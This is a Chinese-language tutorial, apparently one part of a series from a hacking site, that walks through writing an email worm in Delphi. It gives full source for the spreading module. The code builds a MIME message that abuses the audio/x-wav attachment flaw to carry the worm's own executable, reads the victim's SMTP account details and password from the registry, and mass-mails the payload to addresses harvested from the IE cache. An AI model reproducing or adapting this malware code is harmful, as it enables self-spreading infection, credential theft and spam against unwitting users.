网络安全 频道

浅谈用delphi来编写蠕虫病毒

大家可以看到,其实主要的部分还是中间的DATA命令,
把我们编码好的含有mime漏洞的信笺主体发送过去。
为了方便起见,我们先生成一个文本文件,这个文本文件用来装载要发送的eml的body,
在连接上去后一次把这个文本文件的内容发出去就可以了。
procedure makeemlfile;
var
f,d:textfile;
path:array[0..255] of char;
boundary1,boundary2,S,str,line:string;
begin
GetSystemDirectory(path,256);
str:=strpas(path);
boundary1:=makeboundary;
boundary2:=makeboundary;
//这里,我们随机的生成了两个标签。
s:=‘From: whaoye@21cn.com‘#13#10//这里你可以换成你自己的email地址
+‘Subject: SOS‘#13#10 //这里,你也可以随机的来生成主题
+‘X-Priority: 1‘#13#10 //邮件的优先级,其实可以忽略
+‘Mime-Version: 1.0‘#13#10
+‘Content-Type: multipart/related;boundary="‘+boundary1+‘"‘#13#10#13#10
+‘--‘+boundary1+#13#10
+‘Content-Type: multipart/alternative;boundary="‘+boundary2+‘"‘#13#10
+‘--‘+boundary2+#13#10
+‘Content-Type: text/html‘#13#10
+‘Content-Transfer-Encoding: quoted-printable‘#13#10#13#10
+‘‘#13#10
+‘--‘+boundary1+#13#10
+‘Content-Type: audio/x-wav;name="ruin.exe"‘#13#10 //就是这里audio/x-wav为mime漏洞了。
+‘Content-Transfer-Encoding: base64‘#13#10
+‘Content-ID: ‘#13#10#13#10;
//这里就是填充一些必要的信息。
assignfile(f,str+‘/ruin.eml‘);
rewrite(f);
write(f,s);//首先把上面的内容写入文件ruin.eml
CopyFile(pchar(paramstr(0)),pchar(str+‘/ruin_temp.exe‘),false);
//因为不能打开自身进行读写,所以,这里先做一个拷贝文件,我们直接来读拷贝后的文件
encodebase64(str+‘/ruin_eml.txt‘,str+‘/ruin_temp.exe‘);
deletefile(str+‘/ruin_temp.exe‘);
//删除刚才拷贝的临时文件
assignfile(d,str+‘/ruin_eml.txt‘);
reset(d);
while not eof(d) do
begin
readln(d,line);
writeln(f,line);
//接着向ruin.eml里面写入我们的病毒代码的base64编码
end;
closefile(d);
deletefile(str+‘/ruin_eml.txt‘);
//删除刚才调用base64编码算法生成的临时文件
closefile(f);
end;

到这里,我们基本上完成了信笺的编码部分了,现在只需要用winsock编程,
连接服务器,然后把上面的这个文件的内容发送出去就完成了病毒的传播功能模块了。
因为篇幅有限,并且,我也不是主要讲解winsock,所以,
我只简单的把几个函数作用列出来。

 

accept()* 响应联结请求,并且新建一个套接口。原来的套接口则返回监听状态。
bind() 把一个本地的名字和一个无名的套接口捆绑起来。
closesocket()* 把套接口从拥有对象参考表中取消。该函数只有在SO_LINGER被设置时才会阻塞。
connect()* 初始化到一个指定套接口上的连接。
getpeername() 得到连接在指定套接口上的对等通讯方的名字。
getsockname() 得到指定套接口上当前的名字。
getsockopt() 得到与指定套接口相关的属性选项。
htonl() 把32位的数字从主机字节顺序转换到网络字节顺序。
htons() 把16位的数字从主机字节顺序转换到网络字节顺序。
inet_addr() 把一个Internet标准的"."记号地址转换成Internet地址数值。
inet_ntoa() 把Internet地址数值转换成带"."的ASCII字符串。
ioctlsocket() 为套接口提供控制。
listen() 监听某一指定套接口上连接请求的到来。
ntohl() 把32位数字从网络字节顺序转换为主机字节顺序。
ntons() 把16位数字从网络字节顺序转换为主机字节顺序。
recv()* 从一个已连接的套接口接收数据。
recvfrom()* 从一个已连接的或未连接的套接口接收数据。
select()* 执行同步I/O多路复用。
send()* 从一已连接的套接口发送数据。
sendto()* 从已连接或未连接的套接口发送数据。
setsockopt() 设置与指定套接口相关的属性选项。
shutdown() 关闭一部分全双工的连接。
socket() 创建一个通讯端点并返回一个套接口。

具体的函数的申明,请参考sdk。
下面看发送信笺的代码:
首先定义几个常数:
const
HELO=‘HELO‘#13#10;
MAILFROM=‘MAIL FROM: %S‘#13#10;
RCPTTO=‘RCPT T %S‘#13#10;
DATA=‘DATA‘#13#10;
QUIT=‘QUIT‘#13#10;
ENDSIGN=#13#10‘.‘#13#10;
以及定义发送信笺的数据结果:
type
cs=record
address:array[0..99] of string;
count:integer; //email地址的个数
smtp:pchar; //smtp服务器的地址
account:pchar; //发送信笺时使用的帐号

我们再先定义两个函数,下面需要用到。
function mysizeof(buffer:string):integer; //这个函数用来得到数据的长度
var
i:integer;
begin
for i:=1 to length(buffer) do
if buffer[i]=#10 then break;
mysizeof:=i;
end;

function randomaddress:pchar; //产生一个用户名
begin
Randomize;
result:=pchar(inttostr(Random(100))+‘@21cn.com‘);
end;

在前面两天的讲解中,我们已经把IE缓存中的email地址都保存到maillist.lst文件中,
现在,我们写一个主函数,
每次都100个地址(因为一次mailfrom只能发送100封),然后发送信笺。
好了,下面是我们发送信笺的主函数:

procedure sendemails;
var
hk:hkey;
smtp,account,path,smtppassword:array[0..255] of char;
smtplen,accountlen,smtppasswordlen,i:integer;
canshu:cs;
f:textfile;
str:string;
begin
GetSystemDirectory(path,256);
str:=strpas(path);
smtplen:=256;
accountlen:=256;
smtppasswordlen:=256;
i:=0;

 
RegOpenKey(HKEY_CURRENT_USER,‘Software/Microsoft/Internet Account Manager/Accounts/00000001‘,hk);
RegQueryvalueEx(hk,‘SMTP Server‘,nil,nil,@smtp,@smtplen);
RegQueryvalueEx(hk,‘Smtp Email Address‘,nil,nil,@account,@accountlen);
RegQueryvalueEx(hk,‘SMTP Password2‘,nil,nil,@smtppassword,@smtppasswordlen);
//一直到这里都是准备工作,读取该用户的帐号和smtp服务器
if smtppasswordlen<>256 then
//需要注意的是,这里smtp password2表示smtp服务器需要密码登陆
//所以我们进行判断
begin
canshu.smtp:=smtp;
canshu.account:=account;
//这里是smtp服务器,按默认设置
end else
begin
canshu.smtp:=‘smtp.21cn.com‘;
canshu.account:=randomaddress;
//否则,我设置为smtp服务器为smtp.21cn.com
//帐号为随机产生一个21cn的地址
//因为smtp.21cn.com不需要身份验证
end;
assignfile(f,str+‘/maillist.lst‘);
reset(f);
while not eof(f) do
begin
readln(f,canshu.address[i]);
inc(i);
if i=100 then
begin
i:=0;
canshu.count:=100;
sendmail(canshu);
//每次读100个地址,然后调用我们发送邮件的地址
//sendmail函数在下面会定义,请往后看
end;
end;
closefile(f);
if i>0 then
begin
canshu.count:=i;
sendmail(canshu);
//这里是如果邮件个数不是100的整数倍,就读剩余的个数i
end;
end;

到这里,我手都打累了,
基本的工作都做完了,
只剩下最后一道工序,就是刚才上面的函数sendmail
好,快完了,大家接着看:

procedure sendmail(canshu:cs);
var
s:tsocket;
wsa:twsadata;
server:tsockaddr;
errorcode,i,count:integer;
smtp,account:pchar;
address:array of string;
recvbuffer,sendbuffer:array[0..79] of char;
head,path:array[0..255] of char;
body:array of char;
f:file;
str:string;
begin
//wsastartup($0101,wsa);
//加载winsock库
GetSystemDirectory(path,256);
str:=strpas(path);
count:=2;
setlength(address,count);
getmem(smtp,256);
getmem(account,256);
//分配内存空间
strcopy(smtp,canshu.smtp);
strcopy(account,canshu.account);
//填充一些基本的信息
s:=socket(af_inet,sock_stream,0);
//建立一个套接字

 
if s=invalid_socket then exit;
server.sin_family:=af_inet;
server.sin_port:=htons(25);
server.sin_addr.S_addr:=inet_addr(getip(canshu.smtp));
errorcode:=connect(s,server,sizeof(server));
//调用connect和服务器连接
if errorcode=0 then
begin
makeemlfile;
//调用我们上面的函数,生成一个eml文件
assignfile(f,str+‘/ruin.eml‘);
reset(f,1);
i:=filesize(f);
setlength(body,i);
blockread(f,body[0],i);
//把刚才eml文件里面的所有内容都读取到body里面去
closefile(f);
recv(s,head,sizeof(head),0);
//这里调用recv来接受服务器的banner
strpcopy(sendbuffer,HELO);
send(s,sendbuffer,6,0);
//我们发送命令HELO
recv(s,recvbuffer,sizeof(recvbuffer),0);
//接收服务器的返回信息
strpcopy(sendbuffer,format(mailfrom,[account]));
send(s,sendbuffer,mysizeof(sendbuffer),0);
//我们发送命令MAIL FROM
recv(s,recvbuffer,sizeof(recvbuffer),0);
//接收服务器的返回信息
for i:=0 to count-1 do
begin
strpcopy(sendbuffer,format(RCPTTO,[address[i>));
send(s,sendbuffer,mysizeof(sendbuffer),0);
recv(s,recvbuffer,sizeof(recvbuffer),0);
end;
//已经发送count个rcpt to命令
strpcopy(sendbuffer,DATA);
send(s,sendbuffer,6,0);
//这里开始发送信笺的主体
recv(s,recvbuffer,sizeof(recvbuffer),0);
//接收服务器的返回信息
send(s,body[0],length(body),0);
strpcopy(sendbuffer,ENDSIGN);
send(s,sendbuffer,5,0);
//这里发送信笺结束标志
recv(s,recvbuffer,sizeof(recvbuffer),0);
//接收服务器的返回信息
strpcopy(sendbuffer,QUIT);
send(s,sendbuffer,6,0);
//发送QUIT表示我们要退出会话
recv(s,recvbuffer,sizeof(recvbuffer),0);
//接收服务器的返回信息
closesocket(s);
//关闭套接字
deletefile(str+‘/ruin.eml‘);
//删除临时文件
end;
freemem(smtp,256);
freemem(account,256);
//wsacleanup;
end;

这里大家要注意一下,我在这里把wsastartup和wsacleanup给注释掉了,
因为我认为,这个还是在你的程序的主函数里调用是最好的。
并且,这里其实还可以在发送完一封后,就用一个rset命令,
不过一般的服务器只能支持10次rset命令,也就是说一次连接最多只能发送1000封信笺。
邮件群发也就是利用这个原理。
这里,recv函数其实都可以省略,一次把所有的内容发送完毕都可以,不管服务器返回什么!

***********************************************************************
后话:到这里,今天的代码总算是完成了!(长嘘一口气)
不过,今天可能讲得很不好,因为内容太多了,加上今天去应聘不是很爽,
所以就.......
哎呀,好象找人喝酒!要是开学了就好,哥俩好啊,六个六............
还请各位看官原谅。
明天看有空就把最后一部分写完!
http://www.hack58.net/Article/60/64/2006/12204.htm
0
相关文章